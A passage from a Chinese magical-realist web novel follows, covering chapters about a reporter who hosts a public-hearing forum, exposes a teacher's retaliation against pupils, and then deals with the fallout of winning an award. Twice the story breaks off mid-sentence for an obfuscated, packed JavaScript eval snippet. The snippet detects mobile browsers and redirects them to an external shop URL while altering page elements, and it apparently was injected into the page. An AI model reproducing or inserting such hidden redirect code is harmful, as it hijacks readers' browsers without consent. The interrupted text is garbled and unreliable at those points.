潮声自市井深处涌来,一浪高过一浪。那间被称作“听潮阁”的斗室,渐渐成了各路人物不得不驻足的低洼地。水汽与电流的喧哗尚未平息,叶葆启心中却又升起另一道更为沉郁的波浪。他提起笔,在名单上缓缓写下几个字。对面的陈秉烛看着那字迹,指尖的卷烟悬停良久,灰白的烟烬无声折落。 “那座庙堂……怕是不妥。”陈秉烛的声音压得很低,像怕惊动梁上栖息的什么,“门墙太高,里头的香火也旺,更兼供奉的是秤与剑。贸然去请,只怕请神容易……” 叶葆启却望着窗外铅灰色的天穹。他看见无数细小的影子在巷陌间奔走,怀里揣着沉甸甸的纸页,那些纸页浸透了汗、泪,甚至别的什么,早已脆黄卷曲,却始终递不进那扇厚重的门。“主任,”他转回头,目光平静,“潮水既已来了,总要有个去处。不若就在咱们这低洼处,先听一听那涛声从何而起,又裹挟着何种砂砾。只闻其声,不评其案,或许……也能让那高墙里的钟磬之音,更清亮些。” 几番权衡,如同在薄冰上探路。终于定下章程,如同设下结界:只聆风声雨声,不触案卷本身;有执事者陪坐一旁,以备质询;笔吏谨守分寸,只录其形,不描其髓。预告悄然刊出,印在报纸的角落,却像一粒火星溅入枯草甸。 那一日,时间未到,报社那旧石阶前已无声聚起黑压压的一片。不是人群,更像一片骤然凝结的、沉默的乌云。他们大多不言不语,只是怀里紧紧抱着、用布包裹着的厚叠纸张,像抱着此生最后的骨骸。风吹过,纸页在包裹里发出簌簌的哀鸣。 叶葆启走到门口,那股沉闷的气压让他胃袋像被一只冰凉的手攥住。他瞥见无数双眼睛,里面没有火光,只有深潭般的滞重与期盼。喧哗起初是压抑的,低沉的,随后便如决堤般难以遏制。秩序像脆弱的蛛网般被挣破。 原定的方寸之地早已不堪重负。李树峰副院长端坐室内,听着门外隐约传来的、仿佛地层挤压般的嗡鸣,面色如古井水,唯有搁在膝上的手指,极轻微地弹动了一下。 “叶笔吏,这潮……怕是阁子要承不住了。” 叶葆启拭去额角并非因热而生的汗,声音却稳:“李院,潮水既至,堵不如疏。不若移步厅堂,敞开门扉,容那水汽稍稍漫入。只是规矩如前——我等只观水势,不辨流中沉木。” 李树峰默然片刻,与左右交换过眼神。那眼神里有些复杂的、沉重的东西闪过,最终归于一种疲惫的决断。“也罢。既来之,则安之。听潮,本就是我等应有之义。” 大厅内,长桌铺开,恍若祭台。李树峰等人正襟危坐,如同入定的僧侣。门扉洞开,人流便如一线粘稠的墨汁,缓缓渗入。 接下来的光景,让所有亲历者多年后梦回,仍觉耳畔涛声隆隆。 进来的人,将怀中纸卷层层铺开。那些字句早已被泪水或汗水渍得模糊,如同河床上被冲刷千年的残碑。有人声音干涩,断续地念着上面的话语,像在念诵早已失传的咒文;有人只是指着某行某字,手指颤抖,喉头哽咽,却发不出完整音节。空气里弥漫着旧纸张、尘土、以及一种近乎绝望的渴盼混合的气味。 李树峰垂目倾听,眼角的纹路像年轮般深刻。他极少打断,只在某些关节,用沙哑的嗓音解释几句关于“河道疏浚章程”或“风帆起落的时节”。对于那沉在水底的、具体的礁石,他只说:“此物沉重,容我等带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904176|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回,于灯下细辨纹路。”承诺像薄薄的宣纸,被郑重地叠起,交付出去。 自未时至戌时,窗外天光由白转昏,最终被夜幕吞噬。厅内灯火通明,映照着一张张流过泪后更加木然或释然的脸。人潮渐次退去,留下满地无形的褶皱与叹息。 人散尽,李树峰依旧坐着,背脊挺直,却仿佛被抽去了某些支撑。他面前的粗瓷茶盏已空,边沿留着深褐色的渍痕。 “潮声……终究是听见了。”他低语,不像对叶葆启,更像对自己,“坐在高处,只听得到编钟雅乐。下了阶,才知巷陌风雨,俱是真实。” 翌日,报章上刊出纪事一篇,题为《檐下听涛记》。文中未提惊雷骇浪,只写风雨入耳,檐水如何滴穿阶石,庙堂之人如何俯身,于水洼中窥见一方倒悬的天。笔触含蓄,如雾里观花,然个中冷暖,读者自能体味。 此文一出,又如石入静潭。市井间议论纷纷,有人说那高墙终于透进一丝风,有人则忧心风雨太疾,恐伤了庙中古画的颜色。无论如何,“听潮阁”之名,经此一役,已非寻常。它成了这座城市肌理上一处特殊的穴位,每一次针砭,都牵动无数隐痛的神经。 事后,陈秉烛对叶葆启叹道:“此番行走于锋刃之上,幸未失足。可知这‘听潮’之事,贵在度势。潮太猛,需筑堤坝以导其流;声太杂,需辨宫商以正其音。往后,分寸二字,重于千钧。” 叶葆启颔首。他望向窗外渐次亮起的万家灯火,每一盏光晕里,或许都藏着一片欲语还休的潮汐。而他们这间小小的“听潮阁”,已然成了这片土地上,一个无法被轻易擦去的印记。它记录着时代吞吐的气息,在真实与魔幻的边界,低回不已。 25. 第025章 螺壳镇小学异闻录 “听潮阁”的招牌在报社三楼走廊尽头挂着,是块老樟木刻的,纹理里渗着几代报人手上的汗渍和墨渍。每逢阴雨天,木牌背面就会渗出细密的水珠,老编辑们说那是文字在流泪。叶葆启习惯了每天清晨用手掌抚过木牌,掌心便传来潮汐般的脉动——那是千百封来信在抽屉里呼吸的声音。 一九九八年五月,霉雨提前来了。叶葆启打开读者来信的铁皮柜时,一股陈年纸浆与铁锈的腥味扑面而来。最底层压着一封用油纸包裹的信,油纸已经脆黄,展开时簌簌落下的不知是灰尘还是虫蛀的碎屑。信纸是七八种不同质地拼贴的,有的印着厂区抬头的便笺,有的撕自孩子的作业本,还有一张是包中药的黄草纸。字迹更是斑斓:蓝黑墨水洇开的、圆珠笔压穿纸背的、铅笔写的又被雨渍晕染的——像一群受伤的鸟,在纸上扑腾出歪斜的轨迹。 信上说的事发生在螺壳镇小学。那地方叶葆启知道,镇子形状真如海螺,街道是一圈圈旋开的,陌生人走进去总会绕回原处。老辈人说,螺壳镇原是龙王吐出的一个痰盂,里面盛着被罚下界的文曲星的唾沫星子,所以镇上出过九个秀才,三个举人,也出过七个疯癫的读书人。 “记者同志,”信的开头这样写,“我们是螺壳镇小学五年级三班学生的家长。上月家长会,我们不过是问了句课外辅导费的用途,就像往深潭里扔了颗小石子。谁知这潭水深得很,石子没沉底,反而溅起了黑泥巴……” 十名学生成了“那几个人”。他们的作业本会被单独收上去,发回来时,红笔批改的痕迹特别重,有时整页纸都被划穿,透过破洞能看见下面垫着的桌子木纹。他们的座位被调到教室最后排,紧挨着放扫帚的角落,粉笔灰和蜘蛛丝常常落在他们头发上。最让家长揪心的是,班主任王老师发明了一种“静默处罚”——当这几个孩子举手回答问题时,她会微笑着点头,却永远不叫他们的名字,仿佛他们是透明的。时间长了,其他孩子也学会了这种视而不见,课间游戏时,那十个孩子周围会自动空出一个圆圈,像某种无形的结界。 叶葆启把信纸凑到台灯下细看,发现在某些字的笔画连接处,有极淡的盐渍结晶——那是眼泪干涸后留下的。他将信纸对着光,盐晶在灯光下折射出细小的虹彩。 去螺壳镇那天,黄历上写着“忌出行,宜静守”。长途汽车在公路上颠簸,车窗外的稻田绿得发黑,农人插下的秧苗一排排站得笔直,像等待检阅的绿色小兵。叶葆启靠着车窗打盹,梦见自己变成了一粒铅字,被巨大的印刷机碾过,压进新闻纸的纤维里。 螺壳镇果然如传闻所言,街道是螺旋状延伸的。镇口立着一块明代的石碑,刻着“文枢之地”四个大字,但碑身下半截埋在土里,露出的部分爬满青苔,远远看去像是“又枢之地”。叶葆启向路边卖麻糍的老人打听小学位置,老人不答话,只是用竹签挑起一块麻糍递给他。麻糍是青艾汁染的,咬开里面是乌豆沙馅,甜得发苦。 “顺着麻糍摊往右拐三次,左拐两次,看见墙头长枸杞的人家,对面就是了。”老人终于开口,缺牙的嘴里漏风,“那小学的钟楼是民国时建的,听说钟锤是块陨铁,敲出来的钟声能镇邪祟——也能招邪祟。” 叶葆启按着指引走,果然在一户墙头爬满枸杞的人家对面,看见了螺壳镇小学的铁门。门是生铁的,铸成翻开的书本形状,但年久锈蚀,书本的“页边”卷曲起来,像被火燎过。正是放学时间,家长们聚集在校门外,却异常安静。女人们用头巾把脸裹得严实,男人们蹲在墙根抽烟,烟头明明灭灭,像一群萤火虫在开会。 叶葆启混进人群,假装是来接侄子的远房亲戚。他递给旁边一个穿工装的男人一支烟,男人接过,在指甲盖上顿了顿,忽然说:“你不是本地人。” “怎么看出来的?” “本地人抽烟,第一口都是朝地上吐,”男人眼睛盯着校门,“螺壳镇地气重,第一口烟敬土地公,保平安。” 正说着,校门开了。孩子们鱼贯而出,大多是结伴的,喧闹着,追逐着。但最后出来的十几个孩子,走得很慢,彼此间隔着固定的距离,像用尺子量过。他们背着书包,头埋得很低。叶葆启注意到,他们的书包颜色都比其他孩子的暗淡,不是蓝就是灰,没有一个鲜艳的。 一个扎羊角辫的小女孩走到穿工装的男人面前,小声叫了声“爸”。男人掐灭烟,一把抱起孩子。就在转身的刹那,叶葆启看见女孩的左手手背上,用圆珠笔画着一个极小的“×”,已经有些模糊了,但笔画很深,像是反复描过。 “老师让画的?”叶葆启尽量让声音显得随意。 男人身体僵了一下,没回头,抱着孩子快步走了。但他的工装后背湿了一片汗渍,形状像一只展开翅膀的蝙蝠。 叶葆启在镇上唯一的小旅馆住下。房间在二楼,窗子正对着小学的操场。傍晚时分,操场上一个人也没有,只有旗杆孤零零地立着,顶端的红旗褪成了粉白色,在风里有气无力地飘着。旗杆的阴影越拉越长,最后像一柄黑色的剑,刺穿了整个操场。 夜里下起了细雨。叶葆启被某种声音惊醒——是脚步声,很轻,但密密麻麻,像有很多人在操场上绕圈。他撩开窗帘,借着远处路灯的微光,看见空荡荡的操场上确实有一圈脚印在慢慢显现。不是雨打的痕迹,而是实实在在的脚印,一个接一个,绕着旗杆转圈。脚印很小,像是孩子的。 更奇的是,当脚印转到第三圈时,旗杆上的绳子自己动了起来,缓缓地、一节一节地,把旗帜降下一半。然后一切恢复了平静,只有雨丝在路灯的光晕里斜斜地飘。 第二天,叶葆启去了镇上的老茶馆。茶馆是木板搭的,踩上去吱呀作响,像随时会塌。他点了最便宜的茉莉花茶,茶叶梗在粗瓷碗里浮沉。邻桌几个老人在下象棋,棋子拍得啪啪响。 “听说王老师又发威了。”一个秃顶的老人走了一步车。 “哪个王老师?教五年级那个?”对弈的老者眼睛没离开棋盘,“她呀,来头不小。娘家是县里做砚台的,祖上给乾隆爷进贡过螺钿砚。她批作业用的那支红毛笔,听说笔杆是雷击木的,笔头掺了朱砂和雄黄,写出来的字,水泼不湿,火燎不焦。” “何止,”观战的一个独眼老人插嘴,“她办公桌右边抽屉,永远锁着。有次大扫除,临时工看见那抽屉缝里往外渗红水,吓得从梯子上摔下来,瘸了条腿。” 叶葆启端起茶碗,借着碗沿的掩护观察这些老人。他们的脸上布满深深的皱纹,每道皱纹里都藏着故事,也藏着秘密。 “那学校也不是善地,”秃顶老人吃了对方一个马,“民国时候,那儿是文庙。破四旧那年,把孔圣人的牌位扔进井里,那井到现在还封着,就在操场东北角。有人说月圆之夜,能听见井里有念书声,之乎者也的。” 叶葆启记下了这些零碎的线索。他结了账,走出茶馆时,独眼老人忽然叫住他:“后生,你是外面来的记者吧?” 叶葆启心里一惊。 老人那只完好的眼睛盯着他,瞳孔是浑浊的黄色:“听我一句劝,有些事,水太深,别轻易蹚。螺壳镇的秘密,像这镇子的街道,是漩涡状的,越往里钻,越出不来。” 通过层层关系,叶葆启联系到两位愿意说话的螺壳镇小学教师。见面地点约在镇外河边的废弃水磨坊。磨坊的木轮已经腐朽,半浸在河水里,轮叶上挂满水藻,像绿色的胡须。 两位女教师都用围巾包着头脸,只露出眼睛。一个眼睛很大,但布满血丝;另一个眼睛很小,躲躲闪闪的。她们不肯进磨坊,就站在河边的柳树下说话,声音压得很低,混在河水流动的声音里,几乎听不清。 “王老师批改作业时,一定要点一支香,”大眼睛老师说,“是那种很细的线香,味道很奇怪,像是檀香里掺了别的什么。她说这香能让她静心,可我们闻了都头晕。” 小眼睛老师补充:“她改作业用的红墨水,从来不让我们碰。有一次我不小心打翻了一瓶,洒在教案上,那红色渗进纸里,第二天再看,红色的地方居然凸起来了,摸着像疤痕。” “那十个孩子……”叶葆启试探着问。 两位老师对视一眼,同时沉默了。河水哗哗地流,一只翠鸟掠过水面,叼起一条银色的小鱼。 “他们的作业本,”大眼睛老师终于开口,“每次发回去,家长都能在空白处看见一些……不是批语的记号。有时是一个圆圈,有时是一个三角,有时是几个点。家长看不懂,但我们知道,那是王老师自创的一套符号。圆圈代表‘需要特别关注’,三角代表‘家庭有问题’,点点的数量代表……孩子犯错的次数。” “最可怕的是,”小眼睛老师的声音开始发抖,“有一次我值日,去教室关窗,看见那十个孩子的课桌桌面,在夕阳下……浮现出字迹。是很淡很淡的铅笔痕,写着‘我错了’、‘我不敢了’,一遍又一遍,密密麻麻,像经文。” 她们说完这些,像耗尽了所有勇气,匆匆离开了。叶葆启站在河边,看着她们的背影消失在暮色里,像两滴水融入了大河。 正式采访那天,叶葆启特意穿上最正式的中山装,四个口袋都塞得鼓鼓的:采访本、录音机(那种用磁带的)、钢笔、记者证。校长室在行政楼二楼最东头,门前走廊的墙壁上贴满了奖状:“先进单位”、“文明校园”、“教学质量优秀”……金色和红色的奖状在昏暗的走廊里闪闪发光,像一片片鱼鳞。 校长姓褚,五十来岁,头发梳得一丝不苟,但两鬓的白发像粉笔灰,怎么梳也藏不住。他请叶葆启坐在一套藤编沙发上,沙发很旧了,藤条磨得发亮,坐下去时会发出呻吟般的声音。 “王老师是我们学校的骨干,”褚校长泡茶的动作很慢,茶叶在玻璃杯里缓缓舒展,“她带的班级,连续三年语文平均分全镇第一。家长可能有些误会,教育方法的问题,可以沟通嘛。” 叶葆启注意到,校长泡茶用的水不是暖瓶里的,而是从一个陶罐里倒出来的。水色微黄,有股淡淡的中药味。 “有家长反映,孩子因为家长提意见而受到区别对待,这事学校调查过吗?” 褚校长端起茶杯,吹了吹水面,并不喝:“记者同志,教育是门艺术。孔子都说要因材施教,对不同学生采取不同方法,这是教育的应有之义。至于家长说的‘报复’,这是很严重的指控,需要证据。” “如果确实存在教师利用职权,对学生进行精神上的孤立和惩罚呢?” 校长的笑容淡了一些:“我们是正规学校,所有教师都持证上岗。王老师可能方法上有些……严格,但出发点是为了孩子好。现在的孩子娇气,家长也敏感,一点小事就上纲上线。” 谈话进行了一个小时,像在打太极。叶葆启每次问到实质问题,校长都能用“教育艺术”、“家校沟通”、“理解万岁”之类的词搪塞过去。最后,校长站起身,这是送客的表示。 “记者同志,学校马上要期中考试了,教学任务重,”他拉开办公室的门,“您如果还有问题,可以通过正规渠道,向教育局反映。我们一定配合调查。” 走出行政楼时,叶葆启回头看了一眼。褚校长还站在二楼窗口,身影映在玻璃上,模糊不清。奇怪的是,校长室窗口那盆绿萝,所有的叶子都朝着室内方向卷曲,像是要躲避外面的阳光。 真正的突破口是一盒录音带。 那天傍晚,叶葆启在旅馆房间整理笔记,有人轻轻敲门。开门一看,是个四十多岁的女人,穿着洗得发白的蓝布衫,手里紧紧攥着一个布包。 “我是……其中一个孩子的妈妈,”她声音小得像蚊子,“我听说您是记者,我……我有样东西给您。” 她把布包放在桌上,一层层打开。最里面是一个小小的磁带盒,塑料的,边缘已经磨白了。 “上个月开家长会,我偷偷带的录音机,”女人不敢看叶葆启的眼睛,“本来只是想录下会议内容,回家好好琢磨。结果……结果录到了别的东西。” 叶葆启把磁带放进录音机,按下播放键。先是沙沙的噪音,然后是一阵脚步声,搬动椅子的声音,咳嗽声。接着,王老师的声音响起来了: “今天把大家留下来,是要说个事。”声音很平静,甚至有些温柔,“最近,有些同学的家长,对学校工作很关心,提了很多宝贵意见。这是好事,家校共建嘛。” 磁带里传来几声干笑。 “但是,”声音突然转冷,像从夏天一下子跌进冬天,“家长是家长,学生是学生。在学校,就要守学校的规矩。有些同学,不要以为家里有人说话,自己就可以特殊。我告诉你们,在五年级三班,只有一种学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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女人哭了,眼泪大颗大颗地掉:“我怕……我怕他们知道是我录的,会更狠地整我的孩子。可是昨天,我女儿回家,手背上又多了一个‘×’。我问她怎么来的,她只是哭,不说话。我……我受不了了……” 叶葆启收下了磁带。女人临走时,他从门缝里塞给她五百块钱——那是他半个月的工资。女人推辞不要,他说:“给孩子买点吃的,补补身体。” 关上门,房间里只剩下磁带空转的沙沙声。叶葆启把磁带倒回去,又听了一遍那段戏曲。这次他注意到,在唱腔的背景里,还有一种极细微的、像是很多人在低声啜泣的声音。 叶葆启没有立刻写稿,而是带着所有材料去了县教育局。教育局在一栋七十年代建的老楼里,楼梯的水磨石地面磨出了凹痕,扶手是木头的,被无数只手摸得油亮。 接待他的是马组长,一个瘦高的中年男人,戴一副老花镜,镜片厚得像瓶底。叶葆启说明来意,把家长联名信、采访记录、还有那盒磁带放在桌上。 马组长听完录音,很久没有说话。他摘下眼镜,用衣角慢慢擦拭。办公室的窗户开着,风吹进来,桌上的文件哗啦作响。 “这段戏文……”马组长终于开口,“我小时候听过。是咱们县里一个草台班子唱的戏,叫《戒尺冤》,讲的是一个私塾先生滥用戒尺,打死学生,最后被学生的冤魂索命的故事。那班子五十年代就散了,唱这出戏的老旦,后来投了河。” 他把眼镜戴回去,看着叶葆启:“叶记者,这事我们会严肃处理。教师队伍里出现这种问题,是教育的耻辱。” 三天后,调查组进驻螺壳镇小学。组长就是马组长。调查进行了整整一周,叶葆启留在镇上,每天都能听到新的传闻:有人说王老师被叫去谈话时,她办公室那支红毛笔自己断了,笔管里流出暗红色的液体;有人说封存的那口古井,在这个组来的第二天早晨,井口的石板裂了一道缝;还有人说,夜里看见校长一个人在操场上走,走一圈,叹一口气,走了整整一夜。 处理结果出来的那天,镇上下了场大雨。雨水把街道冲刷得干干净净,连墙角的青苔都显得鲜绿了许多。处理决定张贴在校门口:王老师调离教学岗位,参加师德培训;褚校长行政记过;十名受影响的学生,由学校心理教师进行专门辅导;全校开展师德师风整顿。 叶葆启的报道在《内海都市报》头版刊出。为了写这篇报道,他三天三夜没合眼,烟灰缸里堆满了烟头。报道见报那天,他睡了整整一天一夜,醒来时已是傍晚。推开窗,晚风送来远处小学的钟声——那是新换的敲钟人在敲钟,节奏平稳,声音清亮。 报道引起了巨大反响。报社的热线电话被打爆,有一半是支持,一半是骂街。支持者说记者为民请命,骂街的说记者毁了一个好老师的前程。总编辑把叶葆启叫到办公室,递给他一叠读者来信。 “你看看,”他指着其中一封信,“这位自称是退休老教师的读者说,你文章里写王老师批作业的红墨水会凸起来,这是妖言惑众。你怎么看?” 叶葆启平静地说:“我写的是‘家长反映,红墨水痕迹在纸面略微凸起,触感特殊’。这是客观陈述事实,不是我的主观判断。” 总编辑看了他一会儿,忽然笑了:“好,有长进。记住,记者只对事实负责,不对读者的感受负责。” 一个月后,更大的消息传来:这篇报道获得了新闻奖二等奖。这是报社历史上第一次拿到这么高级别的奖项。庆功会在报社食堂举行,大家用茶缸子喝白酒,喝醉了就唱歌,唱《报童之歌》,唱《勘探队员之歌》。叶葆启被灌了很多酒,但他始终保持着清醒——或者说,是一种麻木。 深夜,他一个人爬上报社天台。城市在脚下铺展开来,灯火如星河倒泻。他想起螺壳镇那螺旋状的街道,想起那些手背上画着“×”的孩子,想起磁带里那段不知从何而来的戏曲唱腔。 风吹过,带来远处海潮的声音。叶葆启忽然明白了“听潮阁”这个名字的深意:潮汐来去,看似重复,其实每一波都不一样;人间万象,看似相似,其实每一件都有独特的纹理。他的责任,就是在万千声音中,听出那最微弱的、却最真实的潮音。 他从怀里掏出那盒已经消磁的录音带,轻轻放在天台边缘。月光下,塑料磁带盒反射着微弱的光,像一只沉睡的眼睛。 第二天,叶葆启把获奖证书锁进了抽屉最底层。他重新坐回“听潮阁”的接待桌前,打开新的读者来信。第一封是一个菜农写的,说城郊的灌溉渠被工厂废水污染了,青菜叶子长黑斑。 他拿起笔,在新采访本的第一页写下:“1998年6月17日,晴。赴城郊蔬菜基地调查水污染问题……” 笔尖划过纸面,发出沙沙的声响,像是春蚕在咀嚼桑叶,也像是潮水在轻轻拍打堤岸。 26. 第026章 获奖之后 抽屉深处传来的声音,叶葆启是在一个雨夜听见的。 那枚“新闻奖”奖牌被他用红绒布裹好,锁进办公室右手第三个抽屉。同事们都说抽屉老了,黄铜锁舌磨得薄如纸片,夜里会发出细微的叹息。但叶葆启知道不是锁舌的问题——是奖牌自己在说话。每当夜深人静,他伏案改稿时,就能听见那声音,像一枚硬币在深井里旋转,嗡嗡地诉说着什么。 “别听它的。”老校对员陈瞎子有天突然对他说。陈瞎子在报社干了四十年,眼睛坏了,耳朵却灵得很。“荣誉这东西,活久了就有了魂。你喂它正气,它就是镇纸石;你喂它邪念,它就成精了。” 叶葆启笑笑没说话,但夜里还是往抽屉缝隙里塞了张纸条,上面抄着范仲淹的“宁鸣而死,不默而生”。说来也怪,那之后奖牌的声响就变了,从嘤嘤嗡嗡变成了沉稳的心跳声,像一颗种子在黑暗的土壤里搏动。 生活看似回到了旧河道。夜班、热线、现场、听潮阁——这些词像老唱片的凹槽,一圈圈旋转着他的人生。但河水已经不同了。同事们看他的眼神多了层光晕,像冬日呵出的白气,模糊了真实的轮廓。他们叫他“叶大拿”,那声音在走廊里回荡时,会生出奇怪的回音,仿佛真有什么看不见的东西在应和。 就连报社那台老式铅字机也认得他了。每次叶葆启经过,滚筒会无端空转两下,铅字在字盘里微微颤动,拼出不成文的词组:“荣……光……责……”油墨师傅老吴说,机器也有灵性,沾了太多好文章的气,成精了。 荣誉带来的不只是声音。 第一个找上门的是个穿中山装的男人,袖口磨得发亮,像抹了层水银。他出现在叶葆启值夜班的凌晨两点,没有脚步声,就那么突然站在记者站门口。 “叶记者,”男人的声音像是从井底传来,“我家老板想请您写个传。” 叶葆启抬头看他,发现男人没有影子。日光灯惨白的光线穿透他的身体,在地板上留下一片模糊的晕。 “什么传?” “发家史。”男人从怀里掏出一个牛皮纸袋,放在桌上时发出金属的闷响,“材料都备好了,您润润笔就成。报酬……”他伸出三根手指,那手指在灯光下透明得像蜡。 “我不写这种东西。”叶葆启把纸袋推回去,触手冰凉。 男人笑了,嘴角咧到耳根:“您再想想。这世道,笔杆子能换金条子。”说完他化作一缕青烟,从门缝钻了出去。纸袋还在桌上,叶葆启打开一看,里面是一叠冥币,面额都是“亿”。 第二天他跟素琴说起这事,素琴正在腌咸菜。她把手从陶缸里抽出来,在围裙上擦了擦,说:“你爷爷那辈人就说过,出名了,不光活人找你,死人也会找。咱家祖坟朝南,阳气盛,你心里那杆秤不斜,就没事。” 叶葆启握了握妻子的手,那手因为常年劳作粗糙得像老树皮,却温暖踏实。 真正的考验在一个黄昏降临。 那是个星期五,下班时间,报社走廊空荡荡的。叶葆启收拾东西准备回家,电话响了。接起来,那头是海浪的声音,哗啦哗啦,潮汐般规律。 “叶记者,”一个女声混在海浪里,“我是海岛县的。我们这儿的海,今年颜色不对。” “怎么不对?” “红。”女人说,“像血,又像铁锈。渔民不敢下网,说网捞上来都是空的,只有腥气。” 叶葆启记下地址,准备周末去看看。挂电话前,女人突然说:“叶记者,您获奖的那篇报道,我剪下来贴在灶王爷像旁边了。您笔下有正气,能镇邪。” 这句话让叶葆启愣了许久。他走到窗前,看暮色中的城市。远处工地的塔吊像巨大的竹节虫,一口一口吞噬着天空。这座城市在变,变得陌生,而他笔下的文字,真能成为某种意义上的符咒吗? 他破例参加的内海大学讲座,也出现了奇异的场景。 那天新闻系礼堂坐满了人,空气闷热,吊扇在头顶缓慢旋转,切割着光线。叶葆启讲“螺壳镇小学”,讲那封读者来信如何变成铅字,如何变成行动。讲着讲着,他看见第一排有个女学生一直在哭。不是抽泣,是无声地流泪,眼泪在笔记本上洇开,把字迹化成蓝色的河流。 提问环节,那个女生举手:“叶记者,您说记者要有‘傻气’。可如果‘傻’到最后,什么都没改变呢?” 礼堂突然安静下来。吊扇的声音变得格外清晰,咯吱,咯吱,像老人在磨牙。 叶葆启沉默了片刻。他想起螺壳镇小学那位王老师,想起她被调离时回头看校园的眼神,想起后来听说她在郊区小学的状态。记忆像一坛埋得太久的酒,打开时涌出的不只是醇香,还有沉淀的渣滓。 “也许改变不在表面,”他缓缓说,“而在看不见的地方。批评像一把手术刀,切下去会流血,会疼,但目的是治病。有时候病治好了,疤还在;有时候疤消了,阴雨天骨头还会酸——这些都是改变的证据。” 讲座结束,老教授握着他的手。老人的手干枯如树根,却异常有力。“你讲的是新闻的‘道’,”教授说,眼镜后的眼睛闪着奇异的光,“但现在很多人只修‘术’。他们会把笔练成绣花针,在锦缎上绣出漂亮图案,却忘了笔原本是犁,要翻开板结的土地。” 走出礼堂时天色已暗。校园里的老槐树下,叶葆启看见一个熟悉的身影——是螺壳镇小学那位王老师。她站在树影里,穿着一件素色衬衫,朝他微微点头。 叶葆启想走过去,一阵风吹过,槐花如雪落下。再抬眼,树下空无一人,只有一地白花。 是幻觉吗?他不知道。但那天晚上,他梦见自己回到螺壳镇小学。操场上的草长到齐腰高,教室里课桌还在,黑板上留着半道没算完的数学题。他推开教师办公室的门,看见王老师坐在窗前批改作业,夕阳把她的影子拉得很长,一直延伸到走廊尽头。 “叶记者,”梦里的王老师没有抬头,“谢谢您的刀,切得准。” 醒来时凌晨三点,叶葆启坐在床上,听见客厅老座钟的滴答声。那声音和抽屉里奖牌的心跳声,在深夜里形成了奇妙的和声。 素琴翻了个身,迷糊地问:“怎么了?” “做了个梦。” “梦是反的。”素琴喃喃道,又睡去了。 叶葆启却再也睡不着。他走到阳台上,看这座沉睡的城市。远处仍有零星的灯火,像不肯闭上的眼睛。他突然想起自己刚当记者时,老主任说过的话:“记者是这座城市的守夜人。别人睡了,你得醒着;别人看不见的,你得看见;别人不敢说的,你得想办法说。” 荣誉带来的骚扰接踵而至。 ××公司的李经理打来电话时,叶葆启正在写一篇关于菜市场搬迁的稿子。电话里的声音油腻腻的,像沾了太多猪油的抹布。 “叶大记者,您抬抬手,给我们的新产品美言几句……” 叶葆启拒绝后,对方不死心:“您别清高嘛。现在都什么年代了,笔杆子要会转弯才行。” “我的笔只会写直线。”叶葆启说,“弯了,就断了。” 挂断电话,他发现自己写稿的红墨水在纸上洇开了,像一滴血。奇怪的是,那滩红色慢慢凝固,竟形成了一个小小的奖杯形状。他用手指去抹,墨迹已经干了,抠不掉。 素琴的担心是有道理的。有天晚上吃饭时,她突然说:“葆启,你这几个月,白头发多了。” “老了嘛。” “不是年龄的事。”素琴给他夹了块鱼,“是心里的事。我看你有时候对着空气发呆,眼里有重影。” 叶葆启摸摸自己的脸。镜子里的男人确实有些陌生了,眼角的皱纹深了,眼神却更亮,像暗夜里的炭火,风吹不灭,反而更炽。 他把更多精力投入“听潮阁”。这个栏目在他获奖后,有了奇妙的生长。每次活动现场,叶葆启都能看见一些普通人看不见的“客人”——角落里蹲着的老人,抱着孩子的妇女,他们的身影模糊,像水中的倒影。但他们会认真听,听到关键处会点头,散场时默默离开。 解平生有天悄悄问他:“叶老师,您看见了吗?坐在最后一排那个穿蓝褂子的老大爷,每次都在,但签到表上从没他的名字。” 叶葆启没回答,只是拍拍年轻人的肩膀:“记住,我们来这儿不是为了看见什么,而是为了被看见的人能看见希望。” “听潮阁”开始尝试专题形式。第一次做“老旧小区改造”专场时,发生了件怪事。居民代表里有个八十多岁的老太太,耳朵背,说话却响亮。她讲到一半,突然指着天花板说:“看,梁上的燕子回来了!” 所有人都抬头,只见空荡荡的天花板,连个蜘蛛网都没有。 但叶葆启看见了——不是用眼睛,是用某种更深的知觉。他看见房梁上确实有燕子在筑巢,泥巢还是湿的,有新草的气味。那是记忆中的燕子,是这栋老楼五十年前的模样。 活动结束,老太太拉着他的手说:“记者同志,你眼里有光,能照见旧东西。这好,这好,人不能忘了本。” 叶葆启指导年轻人的方式也在变。他不再只是讲技巧,更多时候讲故事。讲他采访过的那些人,那些事,那些在岁月长河里一闪而过的微光。他告诉曹东方:“写批评稿不是泼脏水,是洗镜子。镜子脏了,照出来的人脸就是歪的。我们的工作是把镜子擦干净,至于照镜子的人愿不愿意看真实的自己,那是另一回事。” 赵宛芳有一次哭着从采访现场回来,说被采访对象轰出来了。叶葆启没安慰她,而是泡了壶浓茶,给她讲了自己早年的一次经历。 “那是个冬天,我去采访一个拖欠农民工工资的包工头。他放狗咬我,我在雪地里跑掉了鞋。后来怎么写成的稿子?我在他工地对面租了间房,盯了七天,记下所有进出车辆的车牌,算出了他实际的工程量。稿子登出来,劳动部门介入,工资发下去了。” “您不恨他吗?”赵宛芳问。 “恨过。但后来想想,他也是链条上的一环。问题不在某个人,在整套齿轮怎么转。”叶葆启看着杯中沉浮的茶叶,“记者的愤怒要像茶,不能是白开水,烫一下就凉;也不能是酒,烧昏了头。要有点苦,有点涩,但回味是清的。” 1999年春天来得晚。三月了,河面的冰还没化尽,像老人不肯掉的牙。叶葆启听说王老师在郊区小学的消息,是在一个早晨。消息是随风传来的——真的是一阵风,吹开了他办公桌的窗户,夹带着远郊田野的气味和孩童的读书声。 他决定去看看。 郊区小学在三十里外,要穿过一片桃林。时值花期,桃花开得疯癫,红得不像真花,像泼出去的颜料。叶葆启骑车前往,花瓣落了他一身。 